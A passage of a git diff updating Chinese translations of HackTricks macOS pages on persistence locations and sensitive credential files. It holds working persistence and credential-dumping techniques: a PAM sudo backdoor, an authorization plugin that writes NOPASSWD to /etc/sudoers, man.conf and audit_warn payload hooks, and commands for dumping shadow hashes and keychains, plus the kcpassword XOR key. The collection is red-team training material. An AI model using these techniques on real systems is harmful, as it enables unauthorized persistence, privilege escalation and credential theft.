mdworker`)。这些任务通过 Spotlight 导入插件或 **".mdimporter bundles"** 实现,使 Spotlight 能够理解和索引各种文件格式的内容。 -这些插件或**`.mdimporter`** bundles位于先前提到的位置,如果出现新的bundle,它会在一分钟内加载(无需重新启动任何服务)。这些bundles需要指示它们可以管理哪些**文件类型和扩展名**,这样,当创建具有指定扩展名的新文件时,Spotlight将使用它们。 +插件或 **`.mdimporter`** 包位于前面提到的位置,如果出现新的包,它会在一分钟内加载(无需重启任何服务)。这些包需要指明它们可以管理的 **文件类型和扩展名**,这样,Spotlight 在创建具有指定扩展名的新文件时将使用它们。 -可以通过运行以下命令**找到所有加载的`mdimporters`**: +可以通过运行 **find all the `mdimporters`** 来找到所有已加载的内容: ```bash mdimport -L Paths: id(501) ( @@ -1155,7 +1141,7 @@ Paths: id(501) ( "/System/Library/Spotlight/PDF.mdimporter", [...] ``` -例如 **/Library/Spotlight/iBooksAuthor.mdimporter** 用于解析这些类型的文件(扩展名为 `.iba` 和 `.book` 等): +例如 **/Library/Spotlight/iBooksAuthor.mdimporter** 用于解析这些类型的文件(扩展名 `.iba` 和 `.book` 等): ```json plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist @@ -1192,27 +1178,27 @@ plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist [...] ``` {% hint style="danger" %} -如果您检查其他`mdimporter`的Plist文件,可能找不到条目**`UTTypeConformsTo`**。这是因为这是一个内置的_统一类型标识符_([UTI](https://en.wikipedia.org/wiki/Uniform_Type_Identifier)),不需要指定扩展名。 +如果你检查其他 `mdimporter` 的 Plist,你可能找不到条目 **`UTTypeConformsTo`**。这是因为它是一个内置的 _统一类型标识符_ ([UTI](https://en.wikipedia.org/wiki/Uniform\_Type\_Identifier)),不需要指定扩展名。 -此外,系统默认插件始终优先,因此攻击者只能访问那些苹果自己的`mdimporters`未索引的文件。 +此外,系统默认插件总是优先,因此攻击者只能访问未被苹果自己的 `mdimporters` 索引的文件。 {% endhint %} -要创建自己的导入器,您可以从这个项目开始:[https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer),然后更改名称,**`CFBundleDocumentTypes`**并添加**`UTImportedTypeDeclarations`**,以便支持您想要支持的扩展名,并在**`schema.xml`**中反映它们。\ -然后**更改**函数**`GetMetadataForFile`**的代码,以便在创建具有已处理扩展名的文件时执行您的有效负载。 +要创建你自己的导入器,你可以从这个项目开始:[https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer),然后更改名称、**`CFBundleDocumentTypes`** 并添加 **`UTImportedTypeDeclarations`**,以便支持你想要支持的扩展,并在 **`schema.xml`** 中反映它们。\ +然后 **更改** 函数 **`GetMetadataForFile`** 的代码,以便在创建具有处理扩展名的文件时执行你的有效载荷。 -最后**构建并复制您的新`.mdimporter`**到三个先前位置之一,您可以通过**监视日志**或检查**`mdimport -L.`**来检查它何时加载。 +最后 **构建并复制你的新 `.mdimporter`** 到之前的一个位置,你可以通过 **监控日志** 或检查 **`mdimport -L.`** 来查看它是否被加载。 -### ~~首选项窗格~~ +### ~~偏好面板~~ {% hint style="danger" %} -看起来这个不再起作用了。 +看起来这个不再有效了。 {% endhint %} -撰写:[https://theevilbit.github.io/beyond/beyond\_0009/](https://theevilbit.github.io/beyond/beyond\_0009/) +写作: [https://theevilbit.github.io/beyond/beyond\_0009/](https://theevilbit.github.io/beyond/beyond\_0009/) -* 用于绕过沙箱:[🟠](https://emojipedia.org/large-orange-circle) +* 有助于绕过沙盒:[🟠](https://emojipedia.org/large-orange-circle) * 需要特定用户操作 -* TCC绕过:[🔴](https://emojipedia.org/large-red-circle) +* TCC 绕过:[🔴](https://emojipedia.org/large-red-circle) #### 位置 @@ -1222,34 +1208,36 @@ plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist #### 描述 -看起来这个不再起作用了。 +看起来这个不再有效了。 -## Root沙箱绕过 +## Root 沙盒绕过 {% hint style="success" %} -在这里,您可以找到有用于**绕过沙箱**的起始位置,允许您通过**将内容写入文件**并且是**root**或需要其他**奇怪条件**来简单执行某些内容。 +在这里你可以找到有用的 **沙盒绕过** 启动位置,允许你通过 **写入文件** 以 **root** 身份简单执行某些操作和/或需要其他 **奇怪条件**。 {% endhint %} -### 周期性 +### 定期 -撰写:[https://theevilbit.github.io/beyond/beyond\_0019/](https://theevilbit.github.io/beyond/beyond\_0019/) +写作: [https://theevilbit.github.io/beyond/beyond\_0019/](https://theevilbit.github.io/beyond/beyond\_0019/) -* 用于绕过沙箱:[🟠](https://emojipedia.org/large-orange-circle) -* 但您需要是root用户 -* TCC绕过:[🔴](https://emojipedia.org/large-red-circle) +* 有助于绕过沙盒:[🟠](https://emojipedia.org/large-orange-circle) +* 但你需要是 root +* TCC 绕过:[🔴](https://emojipedia.org/large-red-circle) #### 位置 -* `/etc/periodic/daily`、`/etc/periodic/weekly`、`/etc/periodic/monthly`、`/usr/local/etc/periodic` -* 需要root权限 -* **触发器**:时间到达时 -* `/etc/daily.local`、`/etc/weekly.local`或`/etc/monthly.local` -* 需要root权限 -* **触发器**:时间到达时 +* `/etc/periodic/daily`, `/etc/periodic/weekly`, `/etc/periodic/monthly`, `/usr/local/etc/periodic` +* 需要 root +* **触发**:当时间到来时 +* `/etc/daily.local`, `/etc/weekly.local` 或 `/etc/monthly.local` +* 需要 root +* **触发**:当时间到来时 #### 描述与利用 -周期性脚本(**`/etc/periodic`**)会被执行,因为在`/System/Library/LaunchDaemons/com.apple.periodic*`中配置了**启动守护程序**。请注意,存储在`/etc/periodic/`中的脚本将作为**文件的所有者**执行,因此这对于潜在的特权升级不起作用。 +定期脚本 (**`/etc/periodic`**) 是由于在 `/System/Library/LaunchDaemons/com.apple.periodic*` 中配置的 **启动守护进程** 而执行的。请注意,存储在 `/etc/periodic/` 中的脚本是作为 **文件的所有者** 执行的,因此这对于潜在的特权提升不起作用。 + +{% code overflow="wrap" %} ```bash # Launch daemons that will execute the periodic scripts ls -l /System/Library/LaunchDaemons/com.apple.periodic* @@ -1282,45 +1270,45 @@ total 8 ``` {% endcode %} -还有其他定期脚本将在 **`/etc/defaults/periodic.conf`** 中执行: +还有其他定期脚本将在 **`/etc/defaults/periodic.conf`** 中指示执行: ```bash grep "Local scripts" /etc/defaults/periodic.conf daily_local="/etc/daily.local" # Local scripts weekly_local="/etc/weekly.local" # Local scripts monthly_local="/etc/monthly.local" # Local scripts ``` -如果您设法编写任何文件`/etc/daily.local`、`/etc/weekly.local`或`/etc/monthly.local`,它将**迟早被执行**。 +如果您成功写入任何文件 `/etc/daily.local`、`/etc/weekly.local` 或 `/etc/monthly.local`,它将会 **迟早被执行**。 {% hint style="warning" %} -请注意,周期性脚本将作为脚本的所有者**执行**。因此,如果常规用户拥有脚本,它将作为该用户执行(这可能会防止特权升级攻击)。 +请注意,周期性脚本将以 **脚本所有者的身份执行**。因此,如果常规用户拥有该脚本,它将以该用户的身份执行(这可能会防止特权升级攻击)。 {% endhint %} ### PAM -Writeup: [Linux Hacktricks PAM](../linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md)\ -Writeup: [https://theevilbit.github.io/beyond/beyond\_0005/](https://theevilbit.github.io/beyond/beyond\_0005/) +写作: [Linux Hacktricks PAM](../linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md)\ +写作: [https://theevilbit.github.io/beyond/beyond\_0005/](https://theevilbit.github.io/beyond/beyond\_0005/) -* 有用于绕过沙盒:[🟠](https://emojipedia.org/large-orange-circle) -* 但您需要是root -* TCC绕过:[🔴](https://emojipedia.org/large-red-circle) +* 有助于绕过沙箱: [🟠](https://emojipedia.org/large-orange-circle) +* 但您需要是 root +* TCC 绕过: [🔴](https://emojipedia.org/large-red-circle) #### 位置 -* 始终需要Root权限 +* 始终需要 root -#### 描述和利用 +#### 描述与利用 -由于PAM更专注于**持久性**和恶意软件,而不是在macOS内部轻松执行,因此本博客不会提供详细解释,**请阅读这些文章以更好地理解这一技术**。 +由于 PAM 更专注于 **持久性** 和恶意软件,而不是在 macOS 中的简单执行,因此本博客不会给出详细的解释,**请阅读写作以更好地理解此技术**。 -使用以下命令检查PAM模块: +使用以下命令检查 PAM 模块: ```bash ls -l /etc/pam.d ``` -一种滥用PAM的持久性/权限提升技术很简单,只需修改模块/etc/pam.d/sudo,在开头添加以下行: +一种利用PAM的持久性/特权提升技术,修改模块/etc/pam.d/sudo,在开头添加以下行是非常简单的: ```bash auth sufficient pam_permit.so ``` -所以它会**看起来**像这样: +所以它看起来像这样: ```bash # sudo: auth account password session auth sufficient pam_permit.so @@ -1331,30 +1319,41 @@ account required pam_permit.so password required pam_deny.so session required pam_permit.so ``` -因此,任何尝试使用**`sudo`的操作**都会生效。 +因此,任何尝试使用 **`sudo` 都会有效**。 {% hint style="danger" %} -请注意,此目录受TCC保护,因此用户很可能会收到要求访问权限的提示。 +请注意,此目录受到 TCC 保护,因此用户很可能会收到请求访问的提示。 {% endhint %} +另一个不错的例子是 su,您可以看到也可以向 PAM 模块提供参数(您也可以对该文件进行后门处理): +```bash +cat /etc/pam.d/su +# su: auth account session +auth sufficient pam_rootok.so +auth required pam_opendirectory.so +account required pam_group.so no_warn group=admin,wheel ruser root_only fail_safe +account required pam_opendirectory.so no_check_shell +password required pam_opendirectory.so +session required pam_launchd.so +``` ### 授权插件 Writeup: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.github.io/beyond/beyond\_0028/)\ Writeup: [https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65](https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65) -* 有用于绕过沙盒:[🟠](https://emojipedia.org/large-orange-circle) -* 但需要以root身份并进行额外配置 -* TCC绕过:??? +* 有助于绕过沙盒: [🟠](https://emojipedia.org/large-orange-circle) +* 但你需要是root并进行额外配置 +* TCC 绕过: ??? #### 位置 * `/Library/Security/SecurityAgentPlugins/` * 需要root权限 -* 还需要配置授权数据库以使用插件 +* 还需要配置授权数据库以使用该插件 #### 描述与利用 -您可以创建一个授权插件,在用户登录时执行以保持持久性。有关如何创建这些插件的更多信息,请查看先前的写作(请注意,编写不当的插件可能会将您锁定,您将需要从恢复模式中清理您的Mac)。 +你可以创建一个授权插件,当用户登录时执行以保持持久性。有关如何创建这些插件的更多信息,请查看之前的写作(并且要小心,写得不好的插件可能会锁定你,你需要从恢复模式清理你的mac)。 ```objectivec // Compile the code and create a real bundle // gcc -bundle -framework Foundation main.m -o CustomAuth @@ -1369,11 +1368,11 @@ NSLog(@"%@", @"[+] Custom Authorization Plugin was loaded"); system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers"); } ``` -**将** bundle **移动**到要加载的位置: +**将**捆绑包移动到要加载的位置: ```bash cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/ ``` -最后添加加载此插件的**规则**: +最后添加**规则**以加载此插件: ```bash cat > /tmp/rule.plist < @@ -1392,37 +1391,37 @@ EOF security authorizationdb write com.asdf.asdf < /tmp/rule.plist ``` -**`evaluate-mechanisms`** 会告诉授权框架需要**调用外部机制进行授权**。此外,**`privileged`** 会使其以 root 用户身份执行。 +**`evaluate-mechanisms`** 将告诉授权框架它需要 **调用外部机制进行授权**。此外,**`privileged`** 将使其由 root 执行。 -触发方式: +通过以下方式触发它: ```bash security authorize com.asdf.asdf ``` -然后**staff组应该具有sudo权限**(阅读`/etc/sudoers`以确认)。 +然后**staff组应该拥有sudo**访问权限(阅读`/etc/sudoers`以确认)。 ### Man.conf -Writeup: [https://theevilbit.github.io/beyond/beyond\_0030/](https://theevilbit.github.io/beyond/beyond\_0030/) +写作: [https://theevilbit.github.io/beyond/beyond\_0030/](https://theevilbit.github.io/beyond/beyond\_0030/) -* 有用于绕过沙盒:[🟠](https://emojipedia.org/large-orange-circle) -* 但您需要是root用户,且用户必须使用man -* TCC绕过:[🔴](https://emojipedia.org/large-red-circle) +* 有助于绕过沙箱: [🟠](https://emojipedia.org/large-orange-circle) +* 但你需要是root,用户必须使用man +* TCC绕过: [🔴](https://emojipedia.org/large-red-circle) #### 位置 * **`/private/etc/man.conf`** * 需要root权限 -* **`/private/etc/man.conf`**:每当使用man时 +* **`/private/etc/man.conf`**: 每当使用man时 -#### 描述和利用 +#### 描述与利用 -配置文件**`/private/etc/man.conf`**指示打开man文档文件时要使用的二进制文件/脚本。因此,可修改可执行文件的路径,以便每当用户使用man阅读文档时,将执行后门。 +配置文件**`/private/etc/man.conf`**指示在打开man文档文件时使用的二进制文件/脚本。因此,可以修改可执行文件的路径,以便每当用户使用man阅读文档时,都会执行一个后门。 -例如,在**`/private/etc/man.conf`**中设置: +例如在**`/private/etc/man.conf`**中设置: ``` MANPAGER /tmp/view ``` -然后创建 `/tmp/view` 如下: +然后创建 `/tmp/view` 为: ```bash #!/bin/zsh @@ -1432,34 +1431,36 @@ touch /tmp/manconf ``` ### Apache2 -**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/) +**写作**: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/) -* 有用于绕过沙盒:[🟠](https://emojipedia.org/large-orange-circle) -* 但需要 root 权限和 apache 需要在运行中 -* TCC 绕过:[🔴](https://emojipedia.org/large-red-circle) -* Httpd 没有授权 +* 有助于绕过沙盒: [🟠](https://emojipedia.org/large-orange-circle) +* 但你需要是root,并且apache需要正在运行 +* TCC绕过: [🔴](https://emojipedia.org/large-red-circle) +* Httpd没有权限 #### 位置 * **`/etc/apache2/httpd.conf`** -* 需要 root 权限 -* 触发条件:当 Apache2 启动时 +* 需要root权限 +* 触发: 当Apache2启动时 -#### 描述和利用 +#### 描述与利用 -您可以在 `/etc/apache2/httpd.conf` 中指定加载一个模块,添加一行代码,例如: +你可以在`/etc/apache2/httpd.conf`中指示加载一个模块,添加一行如下: + +{% code overflow="wrap" %} ```bash LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority" ``` {% endcode %} -这样,您编译的模块将由Apache加载。唯一的问题是,您需要使用有效的苹果证书进行签名,或者您需要在系统中添加一个新的受信任证书并用其进行签名。 +这样,您的编译模块将由 Apache 加载。唯一需要注意的是,您需要 **使用有效的 Apple 证书进行签名**,或者您需要 **在系统中添加一个新的受信任证书** 并 **使用它进行签名**。 -然后,如果需要确保服务器将启动,您可以执行: +然后,如果需要,确保服务器将启动,您可以执行: ```bash sudo launchctl load -w /System/Library/LaunchDaemons/org.apache.httpd.plist ``` -Dylb的代码示例: +代码示例用于 Dylb: ```objectivec #include #include @@ -1471,38 +1472,40 @@ printf("[+] dylib constructor called from %s\n", argv[0]); syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]); } ``` -### BSM审计框架 +### BSM 审计框架 Writeup: [https://theevilbit.github.io/beyond/beyond\_0031/](https://theevilbit.github.io/beyond/beyond\_0031/) -* 有用于绕过沙盒的方法: [🟠](https://emojipedia.org/large-orange-circle) -* 但需要root权限,auditd正在运行并引发警告 -* TCC绕过: [🔴](https://emojipedia.org/large-red-circle) +* 有助于绕过沙箱: [🟠](https://emojipedia.org/large-orange-circle) +* 但你需要是 root,auditd 必须运行并引发警告 +* TCC 绕过: [🔴](https://emojipedia.org/large-red-circle) #### 位置 * **`/etc/security/audit_warn`** -* 需要root权限 -* **触发条件**: 当auditd检测到警告时 +* 需要 root 权限 +* **触发**: 当 auditd 检测到警告时 #### 描述与利用 -每当auditd检测到警告时,脚本 **`/etc/security/audit_warn`** 会被 **执行**。因此,您可以在其中添加您的有效负载。 +每当 auditd 检测到警告时,脚本 **`/etc/security/audit_warn`** 会被 **执行**。所以你可以在其中添加你的有效载荷。 ```bash echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn ``` +您可以使用 `sudo audit -n` 强制发出警告。 + ### 启动项 {% hint style="danger" %} -**此功能已被弃用,因此这些目录中不应该找到任何内容。** +**这已被弃用,因此这些目录中不应找到任何内容。** {% endhint %} -**StartupItem** 是一个目录,应该位于 `/Library/StartupItems/` 或 `/System/Library/StartupItems/` 中的一个。一旦建立了这个目录,它必须包含两个特定的文件: +**StartupItem** 是一个目录,应该位于 `/Library/StartupItems/` 或 `/System/Library/StartupItems/` 中。一旦建立此目录,它必须包含两个特定文件: 1. 一个 **rc 脚本**:在启动时执行的 shell 脚本。 -2. 一个 **plist 文件**,具体命名为 `StartupParameters.plist`,其中包含各种配置设置。 +2. 一个 **plist 文件**,特定命名为 `StartupParameters.plist`,其中包含各种配置设置。 -确保将 rc 脚本和 `StartupParameters.plist` 文件都正确放置在 **StartupItem** 目录中,以便启动过程识别和利用它们。 +确保 rc 脚本和 `StartupParameters.plist` 文件正确放置在 **StartupItem** 目录中,以便启动过程能够识别和使用它们。 {% tabs %} {% tab title="StartupParameters.plist" %} @@ -1524,18 +1527,7 @@ echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn ``` {% endtab %} -{% tab title="superservicename" %} - -### 自动启动位置 - -macOS 中有多个位置存储自动启动项。以下是一些常见的自动启动位置: - -- **登录项**:系统偏好设置 > 用户与群组 > 登录项 -- **启动代理**:`/Library/LaunchAgents` 和 `~/Library/LaunchAgents` -- **启动守护进程**:`/Library/LaunchDaemons` 和 `~/Library/LaunchDaemons` -- **启动项**:`/Library/StartupItems`(macOS 10.4 之前) - -要查看和管理这些自动启动项,可以使用 `launchctl` 命令。 +{% tab title="超级服务名称" %} ```bash #!/bin/sh . /etc/rc.common @@ -1560,14 +1552,14 @@ RunService "$1" ### ~~emond~~ {% hint style="danger" %} -在我的 macOS 中找不到这个组件,欲了解更多信息,请查看 writeup +我在我的 macOS 中找不到这个组件,因此有关更多信息,请查看写作 {% endhint %} -Writeup: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/) +写作:[https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/) -由 Apple 引入的 **emond** 是一个日志记录机制,似乎开发不足或可能被放弃,但仍然可以访问。虽然对于 Mac 管理员来说并不特别有益,但这个鲜为人知的服务可能作为威胁行为者的微妙持久性方法,很可能不会被大多数 macOS 管理员注意到。 +由苹果公司引入,**emond** 是一种日志记录机制,似乎未得到充分开发或可能已被放弃,但仍然可以访问。虽然对 Mac 管理员来说并不特别有益,但这个模糊的服务可能作为威胁行为者的微妙持久性方法,可能不会被大多数 macOS 管理员注意到。 -对于知道其存在的人来说,识别 **emond** 的任何恶意使用是直截了当的。该服务的 LaunchDaemon 寻找要在单个目录中执行的脚本。要检查这一点,可以使用以下命令: +对于那些知道其存在的人,识别 **emond** 的任何恶意使用是简单的。该服务的系统 LaunchDaemon 在一个目录中寻找要执行的脚本。要检查这一点,可以使用以下命令: ```bash ls -l /private/var/db/emondClients ``` @@ -1578,29 +1570,29 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit. #### 位置 * **`/opt/X11/etc/X11/xinit/privileged_startx.d`** -* 需要 Root 权限 -* **触发条件**:使用 XQuartz +* 需要root权限 +* **触发**: 使用XQuartz -#### 描述 & 攻击 +#### 描述与利用 -XQuartz **不再安装在 macOS 中**,如果您想获取更多信息,请查看 writeup。 +XQuartz **不再安装在macOS中**,所以如果你想要更多信息,请查看写作。 ### ~~kext~~ {% hint style="danger" %} -即使作为 root 安装 kext 也很复杂,我不认为这是逃离沙盒或实现持久性的好方法(除非您有漏洞利用) +即使作为root安装kext也非常复杂,因此我不会考虑这作为逃避沙箱或持久性的方法(除非你有一个漏洞) {% endhint %} #### 位置 -要将 KEXT 安装为启动项,需要将其安装在以下位置之一: +为了将KEXT作为启动项安装,它需要**安装在以下位置之一**: * `/System/Library/Extensions` -* 内置于 OS X 操作系统中的 KEXT 文件。 +* 内置于OS X操作系统的KEXT文件。 * `/Library/Extensions` -* 第三方软件安装的 KEXT 文件 +* 由第三方软件安装的KEXT文件 -您可以使用以下命令列出当前加载的 kext 文件: +你可以使用以下命令列出当前加载的kext文件: ```bash kextstat #List loaded kext kextload /path/to/kext.kext #Load a new one based on path @@ -1608,44 +1600,44 @@ kextload -b com.apple.driver.ExampleBundle #Load a new one based on path kextunload /path/to/kext.kext kextunload -b com.apple.driver.ExampleBundle ``` -有关[**内核扩展,请查看此部分**](macos-security-and-privilege-escalation/mac-os-architecture/#i-o-kit-drivers)。 +对于有关[**内核扩展,请查看本节**](macos-security-and-privilege-escalation/mac-os-architecture/#i-o-kit-drivers)。 ### ~~amstoold~~ -Writeup: [https://theevilbit.github.io/beyond/beyond\_0029/](https://theevilbit.github.io/beyond/beyond\_0029/) +写作: [https://theevilbit.github.io/beyond/beyond\_0029/](https://theevilbit.github.io/beyond/beyond\_0029/) #### 位置 * **`/usr/local/bin/amstoold`** -* 需要 root 权限 +* 需要root权限 -#### 描述 & 利用 +#### 描述与利用 -显然,`/System/Library/LaunchAgents/com.apple.amstoold.plist` 中的 `plist` 使用了这个二进制文件,同时暴露了一个 XPC 服务... 问题在于该二进制文件不存在,因此您可以在那里放置一些内容,当调用 XPC 服务时,您的二进制文件将被调用。 +显然,来自`/System/Library/LaunchAgents/com.apple.amstoold.plist`的`plist`在暴露XPC服务时使用了这个二进制文件……问题是这个二进制文件并不存在,因此你可以在这里放置一些东西,当XPC服务被调用时,你的二进制文件将被调用。 -我在我的 macOS 中找不到这个了。 +我在我的macOS中再也找不到这个。 ### ~~xsanctl~~ -Writeup: [https://theevilbit.github.io/beyond/beyond\_0015/](https://theevilbit.github.io/beyond/beyond\_0015/) +写作: [https://theevilbit.github.io/beyond/beyond\_0015/](https://theevilbit.github.io/beyond/beyond\_0015/) #### 位置 * **`/Library/Preferences/Xsan/.xsanrc`** -* 需要 root 权限 -* **触发条件**:当服务运行时(很少) +* 需要root权限 +* **触发**: 当服务运行时(很少) -#### 描述 & 利用 +#### 描述与利用 -显然,运行此脚本并不是很常见,我甚至在我的 macOS 中找不到它,所以如果您想了解更多信息,请查看 writeup。 +显然,运行这个脚本并不常见,我甚至在我的macOS中找不到它,因此如果你想要更多信息,请查看写作。 ### ~~/etc/rc.common~~ {% hint style="danger" %} -**在现代 MacOS 版本中不起作用** +**这在现代MacOS版本中不起作用** {% endhint %} -还可以在这里放置**将在启动时执行的命令**。例如常规 rc.common 脚本示例: +在这里也可以放置**在启动时执行的命令。** 示例是常规的rc.common脚本: ```bash # # Common setup for startup scripts. @@ -1738,22 +1730,22 @@ restart) RestartService ;; esac } ``` -## 持久化技术和工具 +## 持久性技术和工具 * [https://github.com/cedowens/Persistent-Swift](https://github.com/cedowens/Persistent-Swift) * [https://github.com/D00MFist/PersistentJXA](https://github.com/D00MFist/PersistentJXA) {% hint style="success" %} -学习并练习 AWS Hacking:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -学习并练习 GCP Hacking: [**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte) +学习和实践 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +学习和实践 GCP 黑客技术:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
支持 HackTricks -* 检查 [**订阅计划**](https://github.com/sponsors/carlospolop)! -* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-sensitive-locations.md b/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-sensitive-locations.md index 0a7c25ed8..875ccb1cb 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-sensitive-locations.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-sensitive-locations.md @@ -1,8 +1,8 @@ # macOS 敏感位置与有趣的守护进程 {% hint style="success" %} -学习与实践 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -学习与实践 GCP 黑客技术:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte) +学习与实践 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +学习与实践 GCP 黑客技术:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
@@ -17,9 +17,9 @@ ## 密码 -### Shadow 密码 +### 隐藏密码 -Shadow 密码与用户的配置一起存储在 **`/var/db/dslocal/nodes/Default/users/`** 中的 plist 文件中。\ +隐藏密码与用户的配置一起存储在位于 **`/var/db/dslocal/nodes/Default/users/`** 的 plist 文件中。\ 以下单行命令可用于转储 **所有用户的信息**(包括哈希信息): {% code overflow="wrap" %} @@ -30,7 +30,7 @@ for l in /var/db/dslocal/nodes/Default/users/*; do if [ -r "$l" ];then echo "$l" [**像这样的脚本**](https://gist.github.com/teddziuba/3ff08bdda120d1f7822f3baf52e606c2) 或 [**这个**](https://github.com/octomagon/davegrohl.git) 可以用来将哈希转换为 **hashcat** **格式**。 -一个替代的一行命令将以 hashcat 格式 `-m 7100`(macOS PBKDF2-SHA512)转储所有非服务账户的凭据: +一个替代的一行命令将以 hashcat 格式 `-m 7100` (macOS PBKDF2-SHA512)转储所有非服务账户的凭据: {% code overflow="wrap" %} ```bash @@ -38,9 +38,15 @@ sudo bash -c 'for i in $(find /var/db/dslocal/nodes/Default/users -type f -regex ``` {% endcode %} +获取用户的 `ShadowHashData` 的另一种方法是使用 `dscl`: ``sudo dscl . -read /Users/`whoami` ShadowHashData`` + +### /etc/master.passwd + +此文件**仅在**系统以**单用户模式**运行时使用(因此不太频繁)。 + ### 钥匙串转储 -请注意,当使用 security 二进制文件 **转储解密的密码** 时,会有几个提示要求用户允许此操作。 +请注意,当使用安全二进制文件**转储解密的密码**时,会有几个提示要求用户允许此操作。 ```bash #security security dump-trust-settings [-s] [-d] #List certificates @@ -63,7 +69,7 @@ security dump-keychain -d #Dump all the info, included secrets (the user will be ```bash sudo vmmap | grep MALLOC_TINY ``` -在识别潜在的主密钥后,**keychaindump** 在堆中搜索特定模式(`0x0000000000000018`),这表明是主密钥的候选者。要利用此密钥,还需要进一步的步骤,包括去混淆,这在 **keychaindump** 的源代码中有说明。专注于该领域的分析师应注意,解密钥链的关键数据存储在 **securityd** 进程的内存中。运行 **keychaindump** 的示例命令是: +在识别潜在的主密钥后,**keychaindump** 在堆中搜索特定模式(`0x0000000000000018`),这表明是主密钥的候选者。要利用此密钥,还需要进一步的步骤,包括去混淆,这在 **keychaindump** 的源代码中有说明。专注于该领域的分析师应注意,解密钥匙串的关键数据存储在 **securityd** 进程的内存中。运行 **keychaindump** 的示例命令是: ```bash sudo ./keychaindump ``` @@ -119,14 +125,14 @@ python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d1 ``` #### **使用用户密码转储钥匙串密钥(带密码)** -如果您知道用户的密码,您可以使用它来**转储和解密属于用户的钥匙串**。 +如果您知道用户的密码,您可以使用它来**转储和解密属于该用户的钥匙串**。 ```bash #Prompt to ask for the password python2.7 chainbreaker.py --dump-all --password-prompt /Users//Library/Keychains/login.keychain-db ``` ### kcpassword -**kcpassword** 文件是一个保存 **用户登录密码** 的文件,但仅在系统所有者 **启用自动登录** 的情况下。因此,用户将自动登录,而无需输入密码(这并不是很安全)。 +**kcpassword** 文件是一个保存 **用户登录密码** 的文件,但仅在系统所有者 **启用了自动登录** 的情况下。因此,用户将自动登录,而无需输入密码(这并不是很安全)。 密码存储在文件 **`/etc/kcpassword`** 中,使用密钥 **`0x7D 0x89 0x52 0x23 0xD2 0xBC 0xDD 0xEA 0xA3 0xB9 0x1F`** 进行异或加密。如果用户的密码长度超过密钥,密钥将被重复使用。\ 这使得密码相对容易恢复,例如使用像 [**这个**](https://gist.github.com/opshope/32f65875d45215c3677d) 的脚本。 @@ -169,19 +175,55 @@ for i in $(sqlite3 ~/Library/Group\ Containers/group.com.apple.notes/NoteStore.s ## 偏好设置 -在 macOS 应用中,偏好设置位于 **`$HOME/Library/Preferences`**,而在 iOS 中则位于 `/var/mobile/Containers/Data/Application//Library/Preferences`。 +在 macOS 应用中,偏好设置位于 **`$HOME/Library/Preferences`**,而在 iOS 中则位于 `/var/mobile/Containers/Data/Application//Library/Preferences`。 在 macOS 中,可以使用命令行工具 **`defaults`** 来 **修改偏好设置文件**。 **`/usr/sbin/cfprefsd`** 声称 XPC 服务 `com.apple.cfprefsd.daemon` 和 `com.apple.cfprefsd.agent`,并可以被调用以执行诸如修改偏好设置等操作。 +## OpenDirectory permissions.plist + +文件 `/System/Library/OpenDirectory/permissions.plist` 